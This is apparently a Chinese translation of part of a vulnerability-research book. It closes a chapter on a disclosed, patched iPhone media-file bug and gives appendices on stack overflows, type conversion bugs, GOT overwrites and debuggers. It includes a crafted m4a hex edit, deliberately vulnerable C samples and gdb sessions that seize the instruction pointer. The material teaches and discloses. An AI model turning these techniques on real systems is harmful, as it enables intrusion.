我然后将上面的下划线值改为0x44444444,并将新文件命名为poc.m4a:
000001f0h: 18 73 74 74 44 44 44 44 00 00 00 00 01 00 00 04 ; .sttDDDD.........
00000200h: 2D 00 00 04 00 00 00 00 28 73 74 73 63 00 00 00 ; -.......(stsc...
00000210h: 00 00 00 00 02 00 00 00 01 00 00 00 17 00 00 00 ; ................
我再次将调试器附加到mediaserverd,并在 MobileSafari 中打开了新的poc.m4a文件,结果如下所示:
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x44444444
[Switching to process 77 thread 0xa20f]
`0x44444444 in ?? ()`
(gdb) `info registers`
r0 0x6474613f 1685348671
r1 0x393fc284 960479876
r2 0xcb0 3248
r3 0x10b 267
r4 0x6901102 110104834
r5 0x1808080 25198720
r6 0x2 2
r7 0x74747318 1953788696
r8 0xf40100 15991040
r9 0x817a00 8485376
sl 0xf40100 15991040
fp 0x80808005 −2139062267
ip 0x20044 131140
sp 0x684c00 6835200
lr 0x1f310 127760
`pc 0x44444444` 1145324612
cpsr {0x60000010, n = 0x0, z = 0x1, c = 0x1, v = 0x0,
q = 0x0, j = 0x0, ge = 0x0, e = 0x0, a = 0x0, i = 0x0, f = 0x0, t = 0x0,
mode = 0x10} {0x60000010, n = 0, z = 1, c = 1, v = 0, q = 0, j = 0, ge = 0,
e = 0, a = 0, i = 0, f = 0, t = 0, mode = usr}
`(gdb) backtrace`
`#0 0x44444444 in ?? ()`
Cannot access memory at address 0x74747318
哈哈!在这个时候,我已经完全控制了程序计数器。
8.3 漏洞修复
备注
星期二,2010 年 2 月 2 日
我于 2009 年 10 月 4 日通知苹果公司有关该漏洞。今天他们发布了新的 iPhone OS 版本以解决该漏洞。
备注
该漏洞影响 iPhone 以及 iPhone OS 3.1.3 之前的 iPod touch。
这个错误很容易找到,所以我确信我不是唯一知道这个错误的人,但似乎只有我通知了苹果公司。更令人惊讶的是:苹果公司自己并没有发现这样一个微不足道的错误。
8.4 经验教训
作为一名漏洞猎人和 iPhone 用户:
-
即使是像本章中描述的那样基于愚蠢的突变模糊测试器,也可以相当有效。
-
模糊测试 iPhone 虽然很繁琐,但值得。
-
不要在您的 iPhone 上打开不受信任的(媒体)文件。
8.5 补遗
备注
星期二,2010 年 2 月 2 日
由于漏洞已被修复,并且有新的 iPhone OS 版本可用,我今天在我的网站上发布了一份详细的安全警告.^([89]) 该漏洞被分配了 CVE-2010-0036。图 8-3([ch08s05.html#timeline_from_the_time_i_notified "图 8-3. 从我通知苹果公司到发布安全警告的时间线"])显示了如何解决漏洞的时间线。

图 8-3. 从我通知苹果公司到发布安全警告的时间线
备注
^([82])
^([83])
^([84])
^([85])
^([86])
^([87])
^([88])
^([89])
^([82]) 请参阅 en.wikipedia.org/wiki/IOS_jailbreaking。
^([83]) 请参阅 cydia.saurik.com/。
^([84]) 请参阅 developer.apple.com/library/ios/#documentation/MusicAudio/Conceptual/CoreAudioOverview/Introduction/Introduction.html 中的“iOS 开发者库:核心音频概述”。
^([85]) 请参阅iOS 开发者库:音频工具箱框架参考。
^([86]) 请参阅高级音频编码。
^([87]) 请参阅Erica Sadun 的 FTP 站点。
^([88]) QuickTime 文件格式规范可在developer.apple.com/mac/library/documentation/QuickTime/QTFF/QTFFPreface/qtffPreface.html找到。
^([89]) 描述 iPhone 漏洞详细信息的我的安全公告可在www.trapkit.de/advisories/TKADV2010-002.txt找到。
附录 A. 搜索技巧
本附录比正文更深入地描述了一些漏洞类别、利用技术和可能导致错误的一些常见问题。
A.1 栈缓冲区溢出
缓冲区溢出是内存损坏漏洞,可以根据 类型(也称为 生成)进行分类。今天最相关的是 栈缓冲区溢出 和 堆缓冲区溢出。如果向缓冲区或数组中复制的数据多于缓冲区或数组能处理的,就会发生缓冲区溢出。就这么简单。正如其名所示,栈缓冲区溢出发生在进程内存的栈区域。栈是进程的一个特殊内存区域,它持有与过程调用相关的数据和元数据。如果在栈上声明的缓冲区中放入比缓冲区能处理更多的数据,相邻的栈内存可能会被覆盖。如果用户可以控制数据和数据量,那么就有可能操纵栈数据或元数据,以控制进程的执行流程。
注意
以下关于栈缓冲区溢出的描述与 32 位英特尔平台(IA-32)相关。
执行的每个进程函数都在栈上表示。这种信息的组织称为 栈帧。栈帧包括函数的数据和元数据,以及一个 返回地址,用于找到函数的调用者。当函数返回到其调用者时,返回地址从栈中弹出并进入指令指针(程序计数器)寄存器。如果你可以溢出一个栈缓冲区,然后覆盖返回地址为你选择的一个值,当函数返回时,你将控制指令指针。
利用栈缓冲区溢出有很多其他可能的利用方式,例如,通过操作函数指针、函数参数或栈上的其他重要数据和元数据。
让我们来看一个示例程序:
示例 A-1. 示例程序 stackoverflow.c
01 #include <string.h>
02
03 void
04 overflow (char *arg)
05 {
06 char buf[12];
07
08 strcpy (buf, arg);
09 }
10
11 int
12 main (int argc, char *argv[])
13 {
14 if (argc > 1)
15 overflow (argv[1]);
16
17 return 0;
18 }
示例 A-1 中的示例程序包含一个简单的栈缓冲区溢出。第一个命令行参数(第 15 行)被用作调用 overflow() 函数的参数。在 overflow() 函数中,用户提供的数据被复制到一个固定大小为 12 字节的栈缓冲区中(见第 6 和 8 行)。如果我们提供比缓冲区能容纳更多的数据(超过 12 字节),栈缓冲区将会溢出,并且相邻的栈数据将被我们的输入数据覆盖。
图 A-1 说明了缓冲区溢出前后栈的布局。栈向下增长(向较低内存地址),返回地址(RET)之后是另一块称为保存帧指针(SFP)的元数据。下面是overflow()函数中声明的缓冲区。与向下增长的栈不同,填充到栈缓冲区中的数据是向较高内存地址增长的。如果我们为第一个命令行参数提供足够的数据,那么我们的数据将覆盖缓冲区、SFP、RET 以及相邻的栈内存。如果函数随后返回,我们控制 RET 的值,这使我们能够控制指令指针(EIP寄存器)。

图 A-1. 展示缓冲区溢出的栈帧
示例:Linux 下的栈缓冲区溢出
要在 Linux(Ubuntu 9.04)下测试示例 A-1,我编译时没有启用栈保护(见 C.1 节):
linux$ `gcc -fno-stack-protector -o stackoverflow stackoverflow.c`
然后,我在调试器中启动了程序(有关 gdb 的更多信息,见 B.4 节),并提供了 20 个字节的用户输入作为命令行参数(12 个字节用于填充栈缓冲区,加上 4 个字节用于 SFP,再加上 4 个字节用于 RET):
linux$ `gdb -q ./stackoverflow`
(gdb) `run $(perl -e 'print "A"x12 . "B"x4 . "C"x4')`
Starting program: /home/tk/BHD/stackoverflow $(perl -e 'print "A"x12 . "B"x4 . "C"x4')
Program received signal SIGSEGV, Segmentation fault.
`0x43434343 in ?? ()`
(gdb) `info registers`
eax 0xbfab9fac −1079271508
ecx 0xbfab9fab −1079271509
edx 0x15 21
ebx 0xb8088ff4 −1207398412
esp 0xbfab9fc0 0xbfab9fc0
ebp 0x42424242 0x42424242
esi 0x8048430 134513712
edi 0x8048310 134513424
`eip 0x43434343 0x43434343`
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
我已经控制了指令指针(见EIP寄存器),因为返回地址被用户输入提供的四个C成功覆盖(四个C的十六进制值:0x43434343)。
示例:Windows 下的栈缓冲区溢出
我在 Windows Vista SP2 下编译了来自示例 A-1 的易受攻击程序,没有启用安全 cookie(/GS)支持(见 C.1 节):
C:\Users\tk\BHD>`cl /nologo /GS- stackoverflow.c`
stackoverflow.c
然后,我在调试器中启动了程序(有关 WinDbg 的更多信息,见 B.2 节),并提供了与上面 Linux 示例中相同的输入数据。
如图 A-2 所示,我得到了与 Linux 下相同的结果:控制了指令指针(见EIP寄存器)。

图 A-2. Windows 下的栈缓冲区溢出(WinDbg 输出)
这只是对缓冲区溢出世界的简要介绍。关于这个主题有大量的书籍和白皮书可供参考。如果你想了解更多,我推荐阅读乔恩·埃里克森的《Hacking: The Art of Exploitation》,第 2 版(No Starch Press,2008 年),或者你可以在 Google 中输入buffer overflows并浏览在线上可用的海量资料。
A.2 空指针解引用
内存被分为页。通常,一个进程、线程或内核不能从零页的内存位置读取或写入。示例 A-2 展示了由于编程错误导致引用零页会发生什么的一个简单例子。
示例 A-2. 使用未拥有的内存——一个空指针解引用的例子
01 #include <stdio.h>
02
03 typedef struct pkt {
04 char * value;
05 } pkt_t;
06
07 int
08 main (void)
09 {
10 pkt_t * packet = NULL;
11
12 printf ("%s", packet->value);
13
14 return 0;
15 }
在示例 A-2 的第 10 行,数据结构 packet 被初始化为 NULL,而在第 12 行引用了一个结构成员。由于 packet 指向 NULL,这个引用可以表示为 NULL->value。当程序尝试从内存页零读取值时,这会导致经典的 空指针解引用。如果你在 Microsoft Windows 下编译此程序并使用 Windows 调试器 WinDbg(见第 B.2 节)启动它,你会得到以下结果:
[..]
(1334.12dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
`eax=00000000` ebx=7713b68f ecx=00000001 edx=77c55e74 esi=00000002 edi=00001772
eip=0040100e esp=0012ff34 ebp=0012ff38 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** WARNING: Unable to verify checksum for image00400000
*** ERROR: Module load completed but symbols could not be loaded for image00400000
image00400000+0x100e:
`0040100e 8b08 mov ecx,dword ptr [eax] ds:0023:00000000=????????`
[..]
当 EAX 的值为 0x00000000 时,访问违规发生。你可以通过使用调试器命令 !analyze -v 获取有关崩溃原因的更多信息:
0:000> `!analyze -v`
[..]
FAULTING_IP:
image00400000+100e
0040100e 8b08 mov ecx,dword ptr [eax]
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040100e (image00400000+0x0000100e)
`ExceptionCode: c0000005 (Access violation)`
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 00000000
`Attempt to read from address 00000000`
[..]
空指针解引用通常会导致易受攻击组件崩溃(服务拒绝)。根据特定的编程错误,空指针解引用也可能导致任意代码执行。
A.3 C 中的类型转换
C 编程语言在处理不同数据类型方面非常灵活。例如,在 C 中,将字符数组转换为有符号整数很容易。有两种类型的转换:隐式 和 显式。在像 C 这样的编程语言中,隐式类型转换发生在编译器自动将变量转换为不同类型时。这通常发生在初始变量类型与你要执行的操作不兼容时。隐式类型转换也被称为 强制转换。
显式类型转换,也称为 类型强制转换,发生在程序员明确编码转换的细节时。这通常使用强制转换运算符来完成。
这里是一个隐式类型转换(强制转换)的例子:
[..]
unsigned int user_input = 0x80000000;
signed int length = user_input;
[..]
在这个例子中,unsigned int 和 signed int 之间发生了隐式转换。
下面是一个显式类型转换(类型强制转换)的例子:
[..]
char cbuf[] = "AAAA";
signed int si = *(int *)cbuf;
[..]
在这个例子中,char 和 signed int 之间发生了显式转换。
类型转换可能非常微妙,并可能导致许多安全漏洞。许多与类型转换相关的漏洞是整数无符号和有符号之间转换的结果。以下是一个例子:
示例 A-3. 导致漏洞的有符号/无符号转换 (implicit.c)
01 #include <stdio.h>
02
03 unsigned int
04 get_user_length (void)
05 {
06 return (0xffffffff);
07 }
08
09 int
10 main (void)
11 {
12 signed int length = 0;
13
14 length = get_user_length ();
15
16 printf ("length: %d %u (0x%x)\n", length, length, length);
17
18 if (length < 12)
19 printf ("argument length ok\n");
20 else
21 printf ("Error: argument length too long\n");
22
23 return 0;
24 }
示例 A-3")中的源代码包含一个与我在 FFmpeg 中找到的相当类似的有符号/无符号转换漏洞(见第四章)。你能找到这个错误吗?
在第 14 行,从用户输入中读取一个长度值并存储在有符号整型变量length中。get_user_length()函数是一个占位符,总是返回“用户输入值”0xffffffff。假设这是从网络或数据文件中读取的值。在第 18 行,程序检查用户提供的值是否小于 12。如果是,屏幕上会打印出字符串“参数长度正确”。由于length被分配了值0xffffffff,而这个值远大于 12,所以看起来字符串不会打印出来。然而,让我们看看在 Windows Vista SP2 下编译和运行程序会发生什么:
C:\Users\tk\BHD>`cl /nologo implicit.c`
implicit.c
C:\Users\tk\BHD>`implicit.exe`
length: −1 4294967295 (0xffffffff)
argument length ok
如您从输出中看到的,第 19 行被达到并执行了。这是怎么发生的?
在 32 位机器上,无符号整型的范围是 0 到 4294967295,有符号整型的范围是-2147483648 到 2147483647。无符号整型值0xffffffff(4294967295)在二进制中表示为1111 1111 1111 1111 1111 1111 1111 1111(见图 A-3)。如果您将相同的位模式解释为有符号整型,则会在符号位发生变化,导致有符号整型值为-1。数字的符号由符号位表示,通常由最高有效位(MSB)表示。如果 MSB 为 0,则数字为正数,如果设置为 1,则数字为负数。

图 A-3. 最重要位(MSB)的作用
总结一下:如果将无符号整型转换为有符号整型值,位模式不会改变,但值将在新类型的上下文中被解释。如果无符号整型值在0x80000000到0xffffffff的范围内,则结果的有符号整型将变为负数(见图 A-4)。
这只是对 C/C++中隐式和显式类型转换的简要介绍。对于 C/C++中类型转换的完整描述及其相关安全问题,请参阅 Mark Dowd、John McDonald 和 Justin Schuh 的《软件安全评估的艺术:识别和避免软件漏洞》(Addison-Wesley,2007 年)。

图 A-4. 整数类型转换:无符号整型到有符号整型
注意
我使用 Debian Linux 6.0(32 位)作为以下所有步骤的平台。
A.4 GOT 覆盖
一旦找到内存损坏漏洞,可以使用各种技术来控制易受攻击进程的指令指针寄存器。其中一种技术称为GOT 覆盖,通过操纵所谓的全局偏移表(GOT)中的一个条目来控制指令指针。由于这种技术依赖于 ELF 文件格式,它仅在支持此格式的平台上工作(如 Linux、Solaris 或 BSD)。
GOT 位于名为.got的 ELF 内部数据段中。它的目的是将位置无关的地址计算重定向到绝对位置,因此它存储了动态链接代码中使用的函数调用符号的绝对位置。当程序第一次调用库函数时,运行时链接编辑器(rtld)定位适当的符号并将其重定位到 GOT。每次对该函数的新调用都直接将控制权传递到该位置,因此不再调用rtld来处理该函数。示例 A-4 说明了这个过程。
示例 A-4. 用于演示全局偏移表(GOT)功能的示例代码(got.c*)
01 #include <stdio.h>
02
03 int
04 main (void)
05 {
06 int i = 16;
07
08 printf ("%d\n", i);
09 printf ("%x\n", i);
10
11 return 0;
12 }
示例 A-4 中的程序调用了printf()库函数两次。我用调试符号编译了程序,并在调试器中启动了它(有关以下调试器命令的描述,请参阅第 B.4 节):
linux$ `gcc -g -o got got.c`
linux$ `gdb -q ./got`
(gdb) `set disassembly-flavor intel`
(gdb) `disassemble main`
Dump of assembler code for function main:
0x080483c4 <main+0>: push ebp
0x080483c5 <main+1>: mov ebp,esp
0x080483c7 <main+3>: and esp,0xfffffff0
0x080483ca <main+6>: sub esp,0x20
0x080483cd <main+9>: mov DWORD PTR [esp+0x1c],0x10
0x080483d5 <main+17>: mov eax,0x80484d0
0x080483da <main+22>: mov edx,DWORD PTR [esp+0x1c]
0x080483de <main+26>: mov DWORD PTR [esp+0x4],edx
0x080483e2 <main+30>: mov DWORD PTR [esp],eax
`0x080483e5 <main+33>: call 0x80482fc <printf@plt>`
0x080483ea <main+38>: mov eax,0x80484d4
0x080483ef <main+43>: mov edx,DWORD PTR [esp+0x1c]
0x080483f3 <main+47>: mov DWORD PTR [esp+0x4],edx
0x080483f7 <main+51>: mov DWORD PTR [esp],eax
`0x080483fa <main+54>: call 0x80482fc <printf@plt>`
0x080483ff <main+59>: mov eax,0x0
0x08048404 <main+64>: leave
0x08048405 <main+65>: ret
End of assembler dump.
main()函数的反汇编显示了程序链接表(PLT)中printf()的地址。与 GOT 将位置无关的地址计算重定向到绝对位置类似,PLT 将位置无关的函数调用重定向到绝对位置。
(gdb) `x/1i 0x80482fc`
0x80482fc <printf@plt>: jmp DWORD PTR ds:`0x80495d8`
PLT 条目立即跳转回 GOT:
(gdb) `x/1x 0x80495d8`
0x80495d8 <_GLOBAL_OFFSET_TABLE_+20>: `0x08048302`
如果在之前没有调用库函数,GOT 条目会回退到 PLT。在 PLT 中,重定位偏移量被推送到堆栈,并且执行被重定向到_init()函数。这是rtld被调用以定位引用的printf()符号的地方。
(gdb) `x/2i 0x08048302`
0x8048302 <printf@plt+6>: push 0x10
0x8048307 <printf@plt+11>: jmp 0x80482cc
现在,让我们看看如果printf()被第二次调用会发生什么。首先,我在第二次调用printf()之前设置了一个断点:
(gdb) `list 0`
1 #include <stdio.h>
2
3 int
4 main (void)
5 {
6 int i = 16;
7
8 printf ("%d\n", i);
`9 printf ("%x\n", i);`
10
(gdb) `break 9`
Breakpoint 1 at 0x80483ea: file got.c, line 9.
然后,我开始运行程序:
(gdb) `run`
Starting program: /home/tk/BHD/got
16
Breakpoint 1, main () at got.c:9
9 printf ("%x\n", i);
在断点触发后,我再次反汇编了main函数,以查看是否调用了相同的 PLT 地址:
(gdb) `disassemble main`
Dump of assembler code for function main:
0x080483c4 <main+0>: push ebp
0x080483c5 <main+1>: mov ebp,esp
0x080483c7 <main+3>: and esp,0xfffffff0
0x080483ca <main+6>: sub esp,0x20
0x080483cd <main+9>: mov DWORD PTR [esp+0x1c],0x10
0x080483d5 <main+17>: mov eax,0x80484d0
0x080483da <main+22>: mov edx,DWORD PTR [esp+0x1c]
0x080483de <main+26>: mov DWORD PTR [esp+0x4],edx
0x080483e2 <main+30>: mov DWORD PTR [esp],eax
`0x080483e5 <main+33>: call 0x80482fc <printf@plt>`
0x080483ea <main+38>: mov eax,0x80484d4
0x080483ef <main+43>: mov edx,DWORD PTR [esp+0x1c]
0x080483f3 <main+47>: mov DWORD PTR [esp+0x4],edx
0x080483f7 <main+51>: mov DWORD PTR [esp],eax
`0x080483fa <main+54>: call 0x80482fc <printf@plt>`
0x080483ff <main+59>: mov eax,0x0
0x08048404 <main+64>: leave
0x08048405 <main+65>: ret
End of assembler dump.
PLT 中的相同地址确实被调用了:
(gdb) `x/1i 0x80482fc`
0x80482fc <printf@plt>: jmp DWORD PTR ds:`0x80495d8`
被调用的 PLT 条目立即跳转回 GOT:
(gdb) `x/1x 0x80495d8`
0x80495d8 <_GLOBAL_OFFSET_TABLE_+20>: `0xb7ed21c0`
但这次,printf()的 GOT 条目已更改:它现在直接指向libc中的printf()库函数。
(gdb) `x/10i 0xb7ed21c0`
0xb7ed21c0 <printf>: push ebp
0xb7ed21c1 <printf+1>: mov ebp,esp
0xb7ed21c3 <printf+3>: push ebx
0xb7ed21c4 <printf+4>: call 0xb7ea1aaf
0xb7ed21c9 <printf+9>: add ebx,0xfae2b
0xb7ed21cf <printf+15>: sub esp,0xc
0xb7ed21d2 <printf+18>: lea eax,[ebp+0xc]
0xb7ed21d5 <printf+21>: mov DWORD PTR [esp+0x8],eax
0xb7ed21d9 <printf+25>: mov eax,DWORD PTR [ebp+0x8]
0xb7ed21dc <printf+28>: mov DWORD PTR [esp+0x4],eax
现在如果我们改变 printf() 的 GOT 条目值,那么在调用 printf() 时就可以控制程序的执行流程:
(gdb) `set variable *(0x80495d8)=0x41414141`
(gdb) `x/1x 0x80495d8`
0x80495d8 <_GLOBAL_OFFSET_TABLE_+20>: `0x41414141`
(gdb) `continue`
Continuing.
Program received signal SIGSEGV, Segmentation fault.
`0x41414141 in ?? ()`
(gdb) `info registers eip`
eip `0x41414141` 0x41414141
我们已经实现了 EIP 控制。关于这种利用技术的实际例子,请参阅 第四章。
要确定库函数的 GOT 地址,你可以使用调试器,如前例所示,或者使用 objdump 或 readelf 命令:
linux$ `objdump -R got`
got: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080495c0 R_386_GLOB_DAT __gmon_start__
080495d0 R_386_JUMP_SLOT __gmon_start__
080495d4 R_386_JUMP_SLOT __libc_start_main
`080495d8 R_386_JUMP_SLOT printf`
linux$ `readelf -r got`
Relocation section '.rel.dyn' at offset 0x27c contains 1 entries:
Offset Info Type Sym.Value Sym. Name
080495c0 00000106 R_386_GLOB_DAT 00000000 __gmon_start__
Relocation section '.rel.plt' at offset 0x284 contains 3 entries:
Offset Info Type Sym.Value Sym. Name
080495d0 00000107 R_386_JUMP_SLOT 00000000 __gmon_start__
080495d4 00000207 R_386_JUMP_SLOT 00000000 __libc_start_main
`080495d8 00000307 R_386_JUMP_SLOT 00000000 printf`
注意事项
^([90])
^([90]) 关于 ELF 的描述,请参阅 TIS 委员会编写的 《工具接口标准 (TIS) 可执行和链接格式 (ELF) 规范》,版本 1.2,1995 年,见 refspecs.freestandards.org/elf/elf.pdf。
附录 B. 调试
本附录包含有关调试器和调试过程的信息。
B.1 Solaris 模块化调试器(mdb)
以下表格列出了 Solaris 模块化调试器(mdb)的一些有用命令。有关可用命令的完整列表,请参阅Solaris 模块化调试器指南。^([91])
开始和停止 mdb
| 命令 | 描述 |
|---|---|
mdb 程序 |
使用 程序 启动 mdb 进行调试。 |
mdb unix.<n> vmcore.<n> |
在内核崩溃转储上运行 mdb(unix.<n> 和 vmcore.<n> 通常可以在目录 /var/crash/<hostname> 中找到)。 |
$q |
退出调试器。 |
通用命令
| 命令 | 描述 |
|---|---|
::run 参数 |
使用给定的 参数 运行程序。如果目标是当前正在运行的程序或是一个核心文件,mdb 如果可能将重新启动程序。 |
断点
| 命令 | 描述 |
|---|---|
地址::bp |
在命令中指定的断点位置的 地址 处设置新的断点。 |
$b |
列出现有断点的信息。 |
::delete 编号 |
删除之前设置的由其 编号 指定的断点。 |
运行调试程序
| 命令 | 描述 |
|---|---|
:s |
执行一条单条指令。将进入子函数。 |
:e |
执行一条单条指令。不会进入子函数。 |
:c |
恢复执行。 |
检查数据
| 命令 | 描述 |
|---|---|
地址,计数格式 |
在指定的 格式 中打印在 地址 处找到的指定数量的对象 (计数);示例格式包括 B(十六进制,1 字节),X(十六进制,4 字节),S(字符串)。 |
信息命令
| 命令 | 描述 |
|---|---|
$r |
列出寄存器和它们的值。 |
$c |
打印所有堆栈帧的回溯。 |
地址::dis |
将 地址 附近的内存范围作为机器指令转储。 |
其他命令
| 命令 | 描述 |
|---|---|
::status |
打印与当前目标相关的信息摘要。 |
::msgbuf |
显示消息缓冲区,包括所有直到内核恐慌的控制台消息。 |
B.2 Windows 调试器(WinDbg)
以下表格列出了 WinDbg 的一些有用的调试器命令。有关可用命令的完整列表,请参阅 Mario Hewardt 和 Daniel Pravat 的高级 Windows 调试(Addison-Wesley Professional,2007)或 WinDbg 的文档。
开始和停止调试会话
| 命令 | 描述 |
|---|---|
文件 ▸ 打开可执行文件... |
在文件菜单上点击打开可执行文件以启动新的用户模式进程并对其进行调试。 |
文件 ▸ 附加到进程... |
在文件菜单上点击附加到进程以调试当前正在运行的用户模式应用程序。 |
q |
结束调试会话。 |
通用命令
| 命令 | 描述 |
|---|---|
g |
在目标上开始或继续执行。 |
断点
| 命令 | 描述 |
|---|---|
bp 地址 |
在指定的 地址 处设置新的断点。 |
bl |
列出现有断点的信息。 |
bc 断点 ID |
删除之前设置的指定 断点 ID 的断点。 |
运行调试程序
| 命令 | 描述 |
|---|---|
t |
执行单条指令或源代码行,并可选地显示所有寄存器和标志的结果值。可以进入子函数。 |
p |
执行单条指令或源代码行,并可选地显示所有寄存器和标志的结果值。不会进入子函数。 |
检查数据
| 命令 | 描述 |
|---|---|
dd 地址 |
将 地址 的内容以双字值(4 字节)显示。 |
du 地址 |
将 地址 的内容以 Unicode 字符显示。 |
dt |
显示有关局部变量、全局变量或数据类型的信息,包括结构和联合。 |
poi(地址) |
从指定的 地址 返回指针大小的数据。根据架构,指针大小为 32 位或 64 位。 |
信息命令
| 命令 | 描述 |
|---|---|
r |
列出寄存器和它们的值。 |
kb |
打印所有堆栈帧的回溯。 |
u 地址 |
将 地址 附近的内存范围作为机器指令输出。 |
其他命令
| 命令 | 描述 |
|---|---|
!analyze -v |
此调试器扩展显示有关异常或错误检查的大量有用信息。 |
!drvobj DRIVER_OBJECT |
此调试器扩展显示有关 DRIVER_OBJECT 的详细信息。 |
.sympath |
此命令更改调试器的默认符号搜索路径。 |
.reload |
此命令删除所有符号信息,并在需要时重新加载这些符号。 |
B.3 Windows 内核调试
为了分析第六章(第六章]) 和 WinDbg^([93]):
注意
在本节中,我使用了以下软件版本:VMware Workstation 6.5.2 和 WinDbg 6.10.3.233。
-
第 1 步:配置 VMware 虚拟系统以进行远程内核调试。
-
第 2 步:调整虚拟系统的 boot.ini。
-
第 3 步:在 VMware 主机上配置 WinDbg 以进行 Windows 内核调试。
第 1 步:配置 VMware 虚拟系统以进行远程内核调试
在我安装了 Windows XP SP3 VMware 虚拟系统后,我关闭了电源,并在 VMware 的命令部分选择了 编辑虚拟机设置。然后我点击了 添加 按钮以添加一个新的串行端口,并选择了如图 图 B-1 和 图 B-2 所示的配置设置。

图 B-1. 输出到命名管道

图 B-2. 命名管道配置
在成功添加新的串行端口后,我在“输入/输出模式”部分选择了“Yield CPU on poll”复选框,如图 图 B-3 所示。

图 B-3. 新串行端口的配置设置
第 2 步:调整虚拟机的 boot.ini 文件
我随后开启了 VMware 虚拟系统,并编辑了 Windows XP 的 boot.ini 文件,以包含以下条目(粗体项启用了内核调试):
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP
Professional" /noexecute=optin /fastdetect
`multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft`
`Windows XP Professional - Debug" /fastdetect /debugport=com1`
我随后重新启动了虚拟系统,并在引导菜单中选择了新的条目 Microsoft Windows XP Professional – Debug [调试器已启用] 以启动系统,如图 图 B-4 所示。

图 B-4. 新的引导菜单选项
第 3 步:在 VMware 主机上配置 WinDbg 以进行 Windows 内核调试
剩下的只是配置 VMware 主机上的 WinDbg,使其通过管道连接到 VMware 虚拟系统的内核。为此,我创建了一个包含如图 图 B-5 所示内容的批处理文件。

图 B-5. 内核调试的 WinDbg 批处理文件
我随后双击批处理文件,将 VMware 主机上的 WinDbg 连接到 VMware Windows XP 虚拟系统的内核,如图 图 B-6") 所示。

图 B-6. 连接内核调试器 (WinDbg)
B.4 GNU 调试器 (gdb)
以下表格列出了 GNU 调试器 (gdb) 的一些有用命令。有关可用命令的完整列表,请参阅 gdb 在线文档。94]
启动和停止 gdb
| 命令 | 描述 |
|---|---|
gdb 程序 |
使用 程序 启动 gdb 以进行调试。 |
quit |
退出调试器。 |
通用命令
| 命令 | 描述 |
|---|---|
run arguments |
启动调试程序(带有 arguments)。 |
attach processID |
将调试器附加到具有 processID 的运行进程。 |
断点
| 命令 | 描述 |
|---|---|
break <file:> function |
在 file 中指定 function 的开始处设置断点。 |
break <file:> line number |
在 file 中该 line number 的代码开始处设置断点。 |
break *address |
在指定的 address 处设置断点。 |
info breakpoints |
列出现有断点的信息。 |
delete number |
删除之前设置的由其 number 指定的断点。 |
运行调试程序
| 命令 | 描述 |
|---|---|
stepi |
执行一条机器指令。将进入子函数。 |
nexti |
执行一条机器指令。不会进入子函数。 |
continue |
继续执行。 |
检查数据
| 命令 | 描述 |
|---|---|
x/CountFormatSize address |
根据指定的 Format 在 address 处打印指定数量的对象 (Count) 的 Size。Size: b (字节), h (半字), w (字), g (巨量, 8 字节)。Format: o (八进制), x (十六进制), d (十进制), u (无符号十进制), t (二进制), f (浮点), a (地址), i (指令), c (字符), s (字符串)。 |
信息命令
| 命令 | 描述 |
|---|---|
info registers |
列出寄存器和它们的值。 |
backtrace |
打印所有栈帧的回溯。 |
disassemble address |
将 address 附近的内存范围作为机器指令输出。 |
其他命令
| 命令 | 描述 |
|---|---|
set disassembly-flavor intel|att |
将反汇编风格设置为 Intel 或 AT&T 汇编语法。默认为 AT&T 语法。 |
shell command |
执行一个 shell command。 |
set variable *(address)=value |
将 value 存储在由 address 指定的内存位置。 |
source file |
从 file 读取调试器命令。 |
set follow-fork-mode parent|child |
告诉调试器跟随 child 或 parent 进程。 |
B.5 使用 Linux 作为 Mac OS X 内核调试主机
在本节中,我将详细说明我执行的准备 Linux 系统作为 Mac OS X 内核调试主机的步骤:
-
第 1 步:安装古老的 Red Hat 7.3 Linux 操作系统。
-
第 2 步:获取必要的软件包。
-
第 3 步:在 Linux 主机上构建 Apple 的调试器。
-
第 4 步:准备调试环境。
第 1 步:安装古老的 Red Hat 7.3 Linux 操作系统
因为我所使用的苹果 GNU 调试器 (gdb) 版本需要低于 3 版本的 GNU C 编译器 (gcc) 才能正确构建,所以我下载并安装了一个古老的 Red Hat 7.3 Linux 系统.^([95]) 安装 Red Hat 系统,我选择了自定义安装类型。当被要求选择要安装的软件包(软件包组选择)时,我只选择了网络支持、软件开发以及 OpenSSH 服务器。这些软件包包括构建苹果 gdb 在 Linux 下的所有必要开发工具和库。在安装过程中,我添加了一个名为 tk 的无权限用户,其家目录位于 /home/tk 下。
第 2 步:获取必要的软件包
在成功安装 Linux 主机后,我下载了以下软件包:
-
苹果公司自定义 gdb 版本的源代码.^([96])
-
来自 GNU 的标准 gdb 源代码.^([97])
-
一个适用于在 Linux 下编译的苹果 gdb 补丁.^([98])
-
XNU 内核的适当源代码版本。我准备了 Linux 调试主机来研究第七章(第七章。比 4.4BSD 更古老的错误])
-
苹果内核调试工具包的适当版本。我在 Mac OS X 10.4.8 上找到了第七章(第七章。比 4.4BSD 更古老的错误。
第 3 步:在 Linux 主机上构建苹果调试器
在我将必要的软件包下载到 Linux 主机后,我解压了两个版本的 gdb:
linux$ `tar xvzf gdb-292.tar.gz`
linux$ `tar xvzf gdb-5.3.tar.gz`
然后,我将苹果源树中的 mmalloc 目录替换为 GNU gdb 的目录:
linux$ `mv gdb-292/src/mmalloc gdb-292/src/old_mmalloc`
linux$ `cp -R gdb-5.3/mmalloc gdb-292/src/`
我将补丁应用到苹果的 gdb 版本:
linux$ `cd gdb-292/src/`
linux$ `patch -p2 < ../../osx_gdb.patch`
patching file gdb/doc/stabs.texinfo
patching file gdb/fix-and-continue.c
patching file gdb/mach-defs.h
patching file gdb/macosx/macosx-nat-dyld.h
